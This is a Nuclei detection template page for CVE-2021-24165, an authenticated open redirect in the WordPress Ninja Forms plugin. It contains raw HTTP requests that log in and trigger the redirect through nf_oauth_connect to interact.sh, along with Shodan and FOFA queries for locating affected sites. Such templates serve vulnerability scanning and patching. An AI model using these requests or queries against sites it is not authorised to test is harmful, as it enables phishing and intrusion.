WordPress Ninja Forms <3.4.34 - Open Redirect

ID: CVE-2021-24165

Severity: medium

Author: dhiyaneshDk,daffainfo

Tags: cve2021,cve,wordpress,redirect,wp-plugin,authenticated,wp,wpscan,ninjaforms

Description

WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: CVE-2021-24165

info:
  name: WordPress Ninja Forms <3.4.34 - Open Redirect
  author: dhiyaneshDk,daffainfo
  severity: medium
  description: |
    WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
  remediation: |
    Update to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6147acf5-e43f-47e6-ab56-c9c8be584818
    - https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24165
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24165
    cwe-id: CWE-601
    epss-score: 0.00129
    epss-percentile: 0.46774
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ninja-forms/
    fofa-query: body=/wp-content/plugins/ninja-forms/
    publicwww-query: /wp-content/plugins/ninja-forms/
  tags: cve2021,cve,wordpress,redirect,wp-plugin,authenticated,wp,wpscan,ninjaforms

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 302'
          - 'status_code_2 == 302'
          - "contains(header_2, 'Location: https://interact.sh?client_id=1')"
        condition: and
# digest: 4a0a0047304502210097a0564597ded941101a2c127fff5a9802bbcab1ccced0f97833d08ac68414500220786e3018be7b8f287452b7440f2ae473861cd8df25b2877f810eb4bda718d4f3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24165.yaml"

View on Github